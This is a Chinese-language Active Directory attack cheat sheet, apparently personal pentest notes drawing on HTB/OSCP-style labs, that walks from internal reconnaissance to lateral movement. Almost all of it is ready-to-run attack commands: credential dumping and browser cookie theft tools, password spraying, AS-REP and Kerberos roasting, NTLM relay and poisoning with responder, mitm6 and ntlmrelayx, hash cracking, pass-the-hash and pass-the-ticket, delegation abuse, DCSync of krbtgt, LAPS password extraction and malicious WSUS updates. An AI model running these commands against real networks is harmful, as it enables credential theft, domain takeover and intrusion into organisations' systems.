从信息收集到横向移动的 Active Directory 基础测试流程。
内网信息收集
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
| 1、用户列表 net user /domain
windows用户列表 分析邮件用户,内网[域]邮件用户,通常就是内网[域]用户
2.进程列表 tasklist /svc
分析杀毒软件/安全监控工具等 邮件客户端 VPN ftp等
3.服务列表 tasklist /svc
与安全防范工具有关服务[判断是否可以手动开关等] 存在问题的服务[权限/漏洞]
4.端口列表 netstat -ano
开放端口对应的常见服务/应用程序[匿名/权限/漏洞等] 利用端口进行信息收集
5.补丁列表 systeminfo
分析 Windows 补丁 第三方软件[Java/Oracle/Flash 等]漏洞
6.本机共享 smbclient -L ip
net user \\ip\c$
本机共享列表/访问权限 本机访问的域共享/访问权限
7.本用户习惯分析
历史记录 收藏夹 文档等
8.获取当前用户密码
Windows
mimikatz
Invoke-WCMDump
mimiDbg
LaZagne
NirLauncher )
quarkspwdump
Linux
mimipenguin
LaZagne
浏览器
HackBrowserData
SharpWeb
SharpDPAPI
360SafeBrowsergetpass
BrowserGhost
Browser-cookie-steal(窃取浏览器cookie)
Navicat密码
版本:Navicat 11或12
方法:https://blog.csdn.net/CCESARE/article/details/104746596
解密脚本:https://github.com/tianhe1986/FatSmallTools
https://github.com/HyperSine/how-does-navicat-encrypt-password
xshell&xftp密码
https://github.com/dzxs/Xdecrypt
mRemoteNG密码
https://github.com/kmahyyg/mremoteng-decrypt
https://github.com/haseebT/mRemoteNG-Decrypt
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
| 常用端口扫描工具
nmap
masscan
zmap
s扫描器
自写脚本
nc
……
内网拓扑架构分析
DMZ
管理网
生产网
测试网
常见信息收集命令
# ipconfig
ipconfig /all ------> 查询本机 IP 段,所在域等
# net
net user ------> 本机用户列表
net localgroup administrators ------> 本机管理员[通常含有域用户]
net user /domain ------> 查询域用户
net group /domain ------> 查询域里面的工作组
net group "domain admins" /domain ------> 查询域管理员用户组
net localgroup administrators /domain ------> 登录本机的域管理员
net localgroup administrators workgroup\user001 /add ----->域用户添加到本机 net group "Domain controllers" -------> 查看域控制器(如果有多台)
net view ------> 查询同一域内机器列表 net view /domain ------> 查询域列表
net view /domain:domainname
# dsquery
dsquery computer domainroot -limit 65535 && net group "domain
computers" /domain ------> 列出该域内所有机器名
dsquery computer ------> 列出机器名称
dsquery user domainroot -limit 65535 && net user /domain------>列出该域内所有用户名
dsquery subnet ------>列出该域内网段划分
dsquery group && net group /domain ------>列出该域内分组
dsquery ou ------>列出该域内组织单位
dsquery server && net time /domain------>列出该域内域控制器
第三方信息收集
NETBIOS 信息收集
SMB 信息收集
空会话信息收集
漏洞信息收集等
|
常见命令
1
2
3
4
5
6
7
8
9
10
11
12
| #本地创建账号
net user /add jerry 123456
#域成员创建域用户(需要管理员权限)
net user /add jerry 123456 /domain
#域控创建域成员
net user /add jerry 123456
在入域后 普通权限账户很多功能都被限制 管理员为域控管理员 导致很多很难操作
net localgroup administrators test\jerry /add
可以将test域下的jerry用户提权到本地管理员权限
因为UAC本地管理员无法立即生效 注销当前账户 重新登录 即可和之前一样
在本地运行需要管理员权限的命令时 点是或者否就行了
|
列出可匿名访问的SMB共享
1
2
3
4
5
6
7
8
9
10
11
| enum4linux -a -u "" -p "" <dc-ip> && enum4linux -a -u "guest" -p "" <dc-ip>
smbmap -u "" -p "" -P 445 -H <dc-ip> && smbmap -u "guest" -p "" -P 445 -H <dc-ip>
smbclient -U '%' -L //<dc-ip> && smbclient -U 'guest%' -L //<dc-ip>
cme smb <ip> -u '' -p '' # 枚举可空Session访问的SMB共享
cme smb <ip> -u 'a' -p '' #枚举可匿名访问的SMB共享
enum4linux -a -u "" -p "" 192.168.139.153 && enum4linux -a -u "guest" -p "" 192.168.139.153
smbmap -u "" -p "" -P 445 -H 192.168.139.153 && smbmap -u "guest" -p "" -P 445 -H 192.168.139.153
smbclient -U '%' -L //192.168.139.153 && smbclient -U 'guest%' -L //192.168.139.153
crackmapexec smb 192.168.139.153 -u '' -p ''
crackmapexec smb 192.168.139.153 -u 'a' -p ''
|
枚举LDAP
1
2
3
4
5
| nmap -n -sV --script "ldap* and not brute" -p 389 <dc-ip>
ldapsearch -x -H <ip> -s base
ldapsearch -x -H ldap://10.10.10.161:389 -s base
ldapsearch -x -H ldap://10.10.10.161:389 -b dc=test,dc=local
ldapsearch -H ldap://10.10.10.161:389 -x -b dc=htb,dc=local "(objectClass=person)" "*" +
|
查找用户名
1
2
3
4
5
6
7
8
9
10
11
| enum4linux -U <dc-ip> | grep 'user:'
crackmapexec smb <ip> -u <user> -p '<password>' --users
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='<domain>',userdb=<users_list_file>" <ip>
OSINT - 在互联网上寻找用户名
# 新记录的
kerbrute userenum -d hokkaido-aerospace.com --dc 192.168.208.40 /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt -t 100
/usr/share/wordlists/SecLists-master/Usernames/xato-net-10-million-usernames.txt
/usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
|
得到账号,但是没有密码
密码喷洒
1
2
3
4
5
| 获取域密码策略 :
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
enum4linx -u 'username' -p 'password' -P <IP>
cme smb <dc-ip> -u user.txt -p password.txt --no-bruteforce # 不爆破,只测试单一的 user=password
cme smb <dc-ip> -u user.txt -p password.txt # 交叉爆破,根据密码策略,失败过多可能会被封禁
|
ASREP-Roasting攻击
获取hash
1
2
3
4
5
| python GetNPUsers.py <domain>/ -usersfile <usernames.txt> -format hashcat -outputfile <hashes.domain.txt>
Rubeus asreproast /format:hashcat
GetNPUsers.py intelligence.htb/ -usersfile user.txt -no-pass -dc-ip 10.10.10.248
GetNPUsers.py -no-pass -dc-ip 10.10.10.248 intelligence.htb/Jose.Williams
|
获取ASREP-Roastable账号
1
2
3
| GetNPUsers.py domain.com/ -usersfile users.txt -format hashcat
Get-DomainUser -PreauthNotRequired -Properties SamAccountName
MATCH (u:User {dontreqpreauth:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p
|
拿到任意一个域用户的账号密码
获取其他账户密码
1. 获取域内所有账户名
1
| GetADUsers.py -all -dc-ip <dc_ip> <domain>/<username>
|
2. 枚举 SMB 共享
https://github.com/byt3bl33d3r/CrackMapExec/releases/tag/v5.4.0
1
| cme smb <ip> -u <user> -p <password> --shares
|
3. bloodhound
https://github.com/dirkjanm/BloodHound.py
1
2
3
| bloodhound-python -d <domain> -u <user> -p <password> -gc <dc> -c all
bloodhound-python -d oscp.exam -u web_svc -p Diamond1 -gc DC01.oscp.exam -ns 10.10.132.140 -c all
bloodhound-python -d oscp.exam -u web_svc -p Diamond1 -gc DC01.oscp.exam -ns 10.10.132.140 --zip -c all
|
4. 枚举 DNS 服务器
https://github.com/dirkjanm/krbrelayx/blob/master/dnstool.py
1
2
| dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action query <dc_ip>
python3 dnstool.py -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -r webtestaa.intelligence.htb -a add -t A -d 10.10.16.14 10.10.10.248
|
relay/poisoning攻击
扫描没开启SMB签名的机器
1
2
3
| nmap -Pn -sS -T4 --open --script smb-security-mode -p445 ADDRESS/MASK
use exploit/windows/smb/smb_relay
cme smb $hosts --gen-relay-list relay.txt
|
PetitPotam
1
| PetitPotam.py -d <domain> <listener_ip> <target_ip>
|
后续可以跟着adcs攻击
监听
1
2
| responder -i eth0
mitm6 -d <domain>
|
无SMB签名 || 开启IPv6 || ADCS
- MS08-068
1
2
3
4
5
| use exploit/windows/smb/smb_relay #常用于windows2003 / windows server2008
responder -I eth0 # 记得先关闭本机的 smb 和 http 服务
ntlmrelayx.py -tf targets.txt
|
- mitm6 -i eth0 -d
1
2
3
4
5
6
7
| ntlmrelayx.py -6 -wh <attacker_ip> -l /tmp -socks -debug
ntlmrelayx.py -6 -wh <attacker_ip> -t smb://<target> -l /tmp -socks -debug
ntlmrelayx.py -t ldaps://<dc_ip> -wh <attacker_ip> --delegate-access
getST.py -spn cifs/<target> <domain>/<netbios_name>\$ -impersonate <user>
|
- adcs
1
2
3
| ntlmrelayx.py -t http://<dc_ip>/certsrv/certfnsh.asp -debug -smb2support --adcs --template DomainController
Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt
|
拿到hash破解
- LM
1
2
3
| john --format=lm hash.txt
hashcat -m 3000 -a 3 hash.txt
|
- NTLM
1
2
3
| john --format=nt hash.txt
hashcat -m 1000 -a 3 hash.txt
|
- NTLMv1
1
2
3
| john --format=netntlm hash.txt
hashcat -m 5500 -a 3 hash.txt
|
- NTLMv2
1
2
3
| john --format=netntlmv2 hash.txt
hashcat -m 5600 -a 0 hash.txt rockyou.txt
|
- Kerberos 5 TGS
1
2
3
| john spn.txt --format=krb5tgs --wordlist=rockyou.txt
hashcat -m 13100 -a 0 spn.txt rockyou.txt
|
- Kerberos ASREP
1
| hashcat -m 18200 -a 0 AS-REP_roast-hashes rockyou.txt
|
横向移动
- PTH
1
2
3
4
5
6
7
8
9
| psexec.py -hashes ":<hash>" <user>@<ip>
wmiexec.py -hashes ":<hash>" <user>@<ip>
atexec.py -hashes ":<hash>" <user>@<ip> "command"
evil-winrm -i <ip>/<domain> -u <user> -H <hash>
xfreerdp /u:<user> /d:<domain> /pth:<hash> /v:<ip>
|
- PTK
1
2
3
4
5
6
7
8
| python getTGT.py <domain>/<user> -hashes :<hashes>
export KRB5CCNAME=/root/impacket-examples/domain_ticket.ccache
python psexec.py <domain>/<user>@<ip> -k -no-pass
Rubeus asktgt /user:victim /rc4:<rc4value>
Rubeus ptt /ticket:<ticket>
Rubeus createnetonly /program:C:\Windows\System32\[cmd.exe||upnpcont.exe]
Rubeus ptt /luid:0xdeadbeef /ticket:<ticket>
|
- 非约束委派
获取票据
1
2
3
4
5
| privilege::debug sekurlsa::tickets /export sekurlsa::tickets /export
Rubeus dump /service:krbtgt /nowrap
Rubeus dump /luid:0xdeadbeef /nowrap
|
查找非约束委派主机
1
2
3
4
5
6
7
| Get-NetComputer -Unconstrained
Get-DomainComputer -Unconstrained -Properties DnsHostName
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
MATCH (u:User {owned:true}), (c:Computer {unconstraineddelegation:true}), p=shortestPath((u)-[*1..]->(c)) RETURN p
|
- 约束委派
获取票据
1
2
3
4
5
| privilege::debug sekurlsa::tickets /export sekurlsa::tickets /
Rubeus dump /service:krbtgt /nowrap
Rubeus dump /luid:0xdeadbeef /nowrap
|
查找约束委派主机
1
2
3
4
5
| Get-DomainComputer -TrustedToAuth -Properties DnsHostName, MSDS-AllowedToDelegateTo
MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]->(t)) RETURN p
MATCH (u:User {owned:true}), (c:Computer {name: "<MYTARGET.FQDN>"}), p=shortestPath((u)-[*1..]->(c)) RETURN p
|
- 基于资源的约束委派
- dcsync
1
| lsadump::dcsync /domain:htb.local /user:krbtgt # Administrators, Domain Admins, Enterprise Admins 组下的账户都行
|
- 打印机 SpoolService 漏洞利用
1
2
| rpcdump.py <domain>/<user>:<password>@<domain_server> | grep MS-RPRN
printerbug.py '<domain>/<username>:<password>'@<Printer IP> <RESPONDERIP>
|
- AD域ACL攻击(aclpwn.py)
1
2
3
4
5
6
7
8
9
10
| GenericAll on User
GenericAll on Group
GenericAll / GenericWrite / Write on Computer
WriteProperty on Group
Self (Self-Membership) on Group
WriteProperty (Self-Membership)
ForceChangePassword
WriteOwner on Group
GenericWrite on User
WriteDACL + WriteOwner
|
- 获取LAPS管理员密码
1
2
3
| Get-LAPSPasswords -DomainController <ip_dc> -Credential <domain>\<login> | Format-Table -AutoSize
foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}
|
- privexchange漏洞
1
2
3
| python privexchange.py -ah <attacker_host_or_ip> <exchange_host> -u <user> -d <domain> -p <password>
ntlmrelayx.py -t ldap://<dc_fqdn>--escalate-user <user>
|
Exchange的利用
- IPC
- 其他横移
1
2
3
4
5
6
7
| 1.向WSUS服务器数据库注入恶意程序更新 WSUSpendu.ps1 # 需要先拿下 WSUS 更新分发服务器
2.MSSQL Trusted Links use exploit/windows/mssql/mssql_linkcrawler
3.GPO Delegation
4.ADCS
|